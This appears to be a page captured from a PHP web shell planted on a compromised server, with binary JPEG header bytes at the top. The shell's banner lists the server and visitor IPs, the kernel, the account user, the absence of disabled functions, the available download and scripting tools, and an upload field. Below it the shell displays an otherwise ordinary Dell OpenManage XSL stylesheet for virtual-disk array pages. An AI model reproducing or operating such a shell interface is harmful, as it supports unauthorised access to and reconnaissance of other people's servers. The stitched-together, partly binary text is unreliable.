����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 13.58.173.156 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/ |
Upload File : |
<!-- This is the XSL to render the Array Disks belonging to a Virtual Disk page. The associated web plugin is the ArrayWebPlugin. --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format"> <!-- Include some common templates created by SS --> <xsl:import href="Utils.xsl"/> <xsl:import href="adtbl.xsl"/> <xsl:variable name="badBlockExists" select="/OMA/VDBadBlocksDetected"/> <xsl:template match="OMA"> <script language="javascript"> var changeStatus = 0; var foreignconfig = '<xsl:value-of select="/OMA/ForeignConfig"/>'; function reloadPage() { document.location.href = top.gnv.appendVID(document.URL+"&Refresh=true"); } function OnOperationBasicSelected() { changeStatus = 0; if(foreignconfig == 'true') { document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ArrayWebPlugin&ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&ChangeStatus="+changeStatus+"&ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&VirtualDiskOID=<xsl:value-of select="/OMA/VirtualDiskOID"/>&VirtualDiskName=<xsl:value-of select="/OMA/VirtualDiskName"/>&RaidLayout=<xsl:value-of select="/OMA/RaidLayout"/>&ForeignVDIDsList=<xsl:value-of select="/OMA/ForeignVDIDsList"/>&ForeignConfig=<xsl:value-of select="/OMA/ForeignConfig"/>&SpanLength=<xsl:value-of select="/OMA/SpanLength"/>"+"&help=adprin&Refresh=true"); } else { document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ArrayWebPlugin&ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&ChangeStatus="+changeStatus+"&ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&VirtualDiskOID=<xsl:value-of select="/OMA/VirtualDiskOID"/>&VirtualDiskName=<xsl:value-of select="/OMA/VirtualDiskName"/>&RaidLayout=<xsl:value-of select="/OMA/RaidLayout"/>&help=adprin&Refresh=true"); } } function OnOperationAdvanceSelected() { changeStatus = 1; if(foreignconfig == 'true') { document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ArrayWebPlugin&ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&ChangeStatus="+changeStatus+"&ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&VirtualDiskOID=<xsl:value-of select="/OMA/VirtualDiskOID"/>&VirtualDiskName=<xsl:value-of select="/OMA/VirtualDiskName"/>&RaidLayout=<xsl:value-of select="/OMA/RaidLayout"/>&ForeignVDIDsList=<xsl:value-of select="/OMA/ForeignVDIDsList"/>&ForeignConfig=<xsl:value-of select="/OMA/ForeignConfig"/>&SpanLength=<xsl:value-of select="/OMA/SpanLength"/>"+"&Refresh=true&help=adprin"); } else { document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ArrayWebPlugin&ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&ChangeStatus="+changeStatus+"&ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&VirtualDiskOID=<xsl:value-of select="/OMA/VirtualDiskOID"/>&VirtualDiskName=<xsl:value-of select="/OMA/VirtualDiskName"/>&RaidLayout=<xsl:value-of select="/OMA/RaidLayout"/>&Refresh=true&help=adprin"); } } </script> <DataArea> <PageTitle> <xsl:attribute name="display"><xsl:value-of select="$strTitle1Part1"/><xsl:value-of select="VirtualDiskName"/><xsl:value-of select="$strTitle1Part2"/></xsl:attribute> </PageTitle> <xsl:if test="$badBlockExists = 1"> <AlertMessage><xsl:attribute name="display"><xsl:value-of select="$strVDBadBlockMsg"/></xsl:attribute></AlertMessage> </xsl:if> <CustomButton> <!-- The refresh button cannot use the below javascript to perform the refresh. The issue is the javascript calls the last webplug which was called to render this page. The problem is that the page can be rendered by two webplugins: the info webplugin and the action execute web plugin. If the action execute webplugin was the last webplugin to render the page, pressing refresh would cause that action to be re-executed. --> <!--Data name="Refresh"> <xsl:attribute name="display"><xsl:value-of select="$strRefresh"/></xsl:attribute> <xsl:attribute name="href"></xsl:attribute> <xsl:attribute name="onclick">javascript:location.reload ()</xsl:attribute> </Data--> <Data name="Refresh"> <xsl:attribute name="display"><xsl:value-of select="$strRefresh"/></xsl:attribute> <xsl:attribute name="href">javascript:reloadPage();</xsl:attribute> </Data> </CustomButton> <xsl:if test="//ArrayDisks/DCStorageObject"> <CustomButton align="left"> <Data formSubmit="true"> <xsl:attribute name="display"> <xsl:value-of select="$strBasicView"/> </xsl:attribute> <xsl:attribute name="href">javascript:OnOperationBasicSelected()</xsl:attribute> </Data> </CustomButton> <CustomButton align="left"> <Data formSubmit="true"> <xsl:attribute name="display"> <xsl:value-of select="$strFullView"/> </xsl:attribute> <xsl:attribute name="href">javascript:OnOperationAdvanceSelected()</xsl:attribute> </Data> </CustomButton> </xsl:if> <xsl:choose> <xsl:when test="count(Span)>0"> <!-- The virtual disk consists of spans, so display each of them --> <xsl:for-each select="Span"> <xsl:call-template name="Table"> <xsl:with-param name="Display"> <xsl:choose> <xsl:when test="substring(//ArrayDisks/@MainMethodMask1,25,1) = '1' and /OMA/RaidLayout = '512'"> <!-- Keeping condition for the comment, In case of Perc 9 and Raid 10 , the Span title will be not shown--> </xsl:when> <xsl:otherwise> <xsl:value-of select="$strSpanTitlePart1"/> <xsl:value-of select="@SpanNumber"/> <xsl:value-of select="$strSpanTitlePart2"/> </xsl:otherwise> </xsl:choose> </xsl:with-param> <xsl:with-param name="filterOutDHS">true</xsl:with-param> </xsl:call-template> </xsl:for-each> </xsl:when> <xsl:otherwise> <xsl:call-template name="Table"> <xsl:with-param name="Display"> <xsl:value-of select="$strArrayDisksTitle"/> </xsl:with-param> <xsl:with-param name="filterOutDHS">true</xsl:with-param> </xsl:call-template> </xsl:otherwise> </xsl:choose> <xsl:if test="DedicatedHotSpares"> <xsl:for-each select="DedicatedHotSpares"> <xsl:call-template name="Table"> <xsl:with-param name="Display"> <xsl:value-of select="$strDHSTitle"/> </xsl:with-param> <xsl:with-param name="filterOutDHS">false</xsl:with-param> </xsl:call-template> </xsl:for-each> </xsl:if> <!-- auto refresh code for both with and without span--> <xsl:if test="//ArrayDisks/DCStorageObject/Progress"> <HTMLData> <script language="Javascript"> <!--refresh page every 30 secs when atleast one adisk object has Progress property asscoiated with it--> setTimeout("reloadPage()",30000) ; </script> </HTMLData> </xsl:if> <BottomCustomButton> <Data> <xsl:attribute name="display"><xsl:value-of select="$strPrevPage"/></xsl:attribute> <xsl:attribute name="href"><xsl:call-template name="ReturnPage"><xsl:with-param name="BackTo" select="/OMA/BackTo"/></xsl:call-template></xsl:attribute> </Data> </BottomCustomButton> <HiddenTable> <Data> <xsl:attribute name="name">BackTo</xsl:attribute> <xsl:attribute name="returnvalue"></xsl:attribute> </Data> </HiddenTable> </DataArea> </xsl:template> <xsl:template name="Table"> <xsl:param name="Display"/> <xsl:param name="filterOutDHS"/> <xsl:variable name="checkAdmin"> <xsl:choose> <!-- Fix for JIT-116380, traversing OMAUserRights from the root--> <xsl:when test="/OMA/OMAUserRights = '7'">true</xsl:when> <xsl:otherwise>false</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:choose> <xsl:when test="ArrayDisks/DCStorageObject"> <TableData name="{$Display}" display="{$Display}" columnspacing="true"> <xsl:if test="//ChangeStatus != '1'"> <xsl:attribute name="staticcols">9</xsl:attribute> <xsl:attribute name="expandableheader"><xsl:value-of select="$Display"/></xsl:attribute> <xsl:attribute name="expandable">true</xsl:attribute> </xsl:if> <xsl:variable name="showtasks">false</xsl:variable> <SubHeader display="{$Display}"/> <Header> <xsl:call-template name="ArrayDiskTableHeader"> <xsl:with-param name="tasks"> <xsl:value-of select="$checkAdmin"/> </xsl:with-param> <xsl:with-param name="expanded">true</xsl:with-param> <xsl:with-param name="foreignConfig"><xsl:value-of select="/OMA/ForeignConfig"/></xsl:with-param> <xsl:with-param name="IsDHS"> <xsl:choose> <xsl:when test="$filterOutDHS='false'">true</xsl:when> <xsl:otherwise>false</xsl:otherwise> </xsl:choose> </xsl:with-param> <xsl:with-param name="VDMember">true</xsl:with-param> <xsl:with-param name="changestatus"><xsl:value-of select="/OMA/ChangeStatus"/></xsl:with-param> </xsl:call-template> </Header> <xsl:for-each select="ArrayDisks/DCStorageObject"> <xsl:sort select="MirrorSetID" data-type="number" order="ascending"/> <xsl:sort select="Channel" data-type="number" order="ascending"/> <xsl:sort select="TargetID" data-type="number" order="ascending"/> <xsl:variable name="isDHS"> <xsl:choose> <xsl:when test="$filterOutDHS = 'true'"> <!-- check to see if current disk is DHS --> <xsl:call-template name="IsDedicatedHotSpare"> <xsl:with-param name="AttributesMask"> <xsl:value-of select="AttributesMask"/> </xsl:with-param> </xsl:call-template> </xsl:when> <xsl:otherwise>0</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:if test="$isDHS='0'"> <xsl:call-template name="ArrayDiskTableRows"> <xsl:with-param name="tasks"> <xsl:value-of select="$checkAdmin"/> </xsl:with-param> <xsl:with-param name="expanded">true</xsl:with-param> <xsl:with-param name="VDMember">true</xsl:with-param> <xsl:with-param name="foreignConfig"><xsl:value-of select="/OMA/ForeignConfig"/></xsl:with-param> <xsl:with-param name="IsDHS"> <xsl:choose> <xsl:when test="$filterOutDHS='false'">true</xsl:when> <xsl:otherwise>false</xsl:otherwise> </xsl:choose> </xsl:with-param> <xsl:with-param name="changestatus"><xsl:value-of select="/OMA/ChangeStatus"/></xsl:with-param> </xsl:call-template> </xsl:if> </xsl:for-each> </TableData> </xsl:when> <xsl:otherwise> <!--Row> <Data type="ustring" columnspacing="true"--> <AlertMessage> <xsl:attribute name="display"><xsl:value-of select="$strNoDisks"/></xsl:attribute> </AlertMessage> <!--/Data> </Row--> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>